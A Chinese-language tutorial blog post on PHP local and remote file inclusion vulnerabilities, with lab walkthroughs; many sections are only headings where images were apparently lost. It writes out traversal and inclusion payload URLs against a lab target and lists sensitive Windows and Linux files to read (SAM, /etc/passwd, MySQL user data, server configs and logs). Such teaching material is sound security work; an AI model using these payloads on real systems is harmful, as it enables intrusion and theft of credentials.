网络安全——文件包含漏洞

网络安全——文件包含漏洞

一、文件包含

1、什么是文件包含?

把可重复使用的函数写入到单个文件中,在需要使用该函数时,直接调用该文件,无需多次编写函数。

2、文件包含漏洞

原理:

网络安全——文件包含漏洞

利用条件:

include等函数通过动态执行变量的方式引入需要包含的文件

用户能控制输入,控制该变量

 3、文件包含的函数

网络安全——文件包含漏洞

 4、文件包含示例

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞

 5、文件包含的分类

文件包含漏洞可以分为LFI(Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

网络安全——文件包含漏洞

 本地文件包含

网络安全——文件包含漏洞

 远程文件包含

网络安全——文件包含漏洞

二、文件包含漏洞利用

6、读取敏感文件

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞

 2、本地包含配合文件上传

网络安全——文件包含漏洞

 3、远程包含shell

网络安全——文件包含漏洞

 4、包含Apache日志文件

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞

Apache日志默认路径

 

网络安全——文件包含漏洞

 IIS日志默认路径

网络安全——文件包含漏洞

 Ngnix日志默认路径

网络安全——文件包含漏洞

5、包含SSH日志文件

网络安全——文件包含漏洞
 6、包含session文件

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞

 7、PHP封装伪协议

网络安全——文件包含漏洞

网络安全——文件包含漏洞
 

 

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞
网络安全——文件包含漏洞

 

网络安全——文件包含漏洞


三、实例——文件包含分类

本地包含

1、在浏览器中访问http://ip/include/02/1.php?a=hello.txt,包含服务器本地当前目录下的文件

网络安全——文件包含漏洞

2、在浏览器中访问http://ip/include/02/1.php?a=…/include.php,包含服务器本地上一级目录的文件

网络安全——文件包含漏洞

3、在浏览器中访问http://ip/include/02/1.php?a=…/01/1.jpg,包含服务器本地其他目录的文件,进行目录遍历

网络安全——文件包含漏洞

远程包含

 1、打开"phpStudy",启动操作机的Apache服务

网络安全——文件包含漏洞

2、在操作机的Web根目录下新建include.php

网络安全——文件包含漏洞

3、在浏览器中访问http://靶机ip/include/02/1.php?a=http://操作机ip/include.php

网络安全——文件包含漏洞

 

网络安全——文件包含漏洞


四、实例——文件包含漏洞利用之读取敏感文件信息

利用文件包含漏洞可以包含一些操作系统的敏感文件,从而读取重要信息。
Windows系统敏感信息:

C:\boot.ini                                  //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml     //IIS配置文件
C:\windows\repair\sam                       //windows初次安装的密码
C:\program Files\mysql\my.ini               //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD  //Mysql root C:\windows\php.ini                         //php配置信息
......

Linux系统敏感信息:

/etc/passwd                                       //linux用户信息
/usr/local/app/apache2/conf/httpd.conf            //apache2配置文件
/usr/local/app/php5/lib/php.ini                   //php配置文件
/etc/httpd/conf/httpd.conf                       //apache配置文件
/etc/my.cnf                                      //Mysql配置文件
......

1、打开浏览器,在浏览器中访问http://ip/include/include.php

网络安全——文件包含漏洞

2、在浏览器中访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息

网络安全——文件包含漏洞

3、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\conf\httpd.conf,包含Apache配置文件获取信息

网络安全——文件包含漏洞

4、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache的访问日志获取信息

网络安全——文件包含漏洞

5、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\error.log,包含Apache的错误日志获取信息

网络安全——文件包含漏洞

6、在浏览器中访问http://ip/include/include.php?page=C:\Windows\system32\drivers\etc\hosts,包含hosts文件获取信息

网络安全——文件包含漏洞

7、在浏览器中访问http://ip/include/include.php?page=C:\Windows\win.ini,包含Windows系统的基本系统配置文件获取信息

网络安全——文件包含漏洞


这篇文章就先写到这里了,还有实例接下一篇文章

                       

点击阅读全文

上一篇 2023年 5月 27日 am10:23
下一篇 2023年 5月 27日 am10:25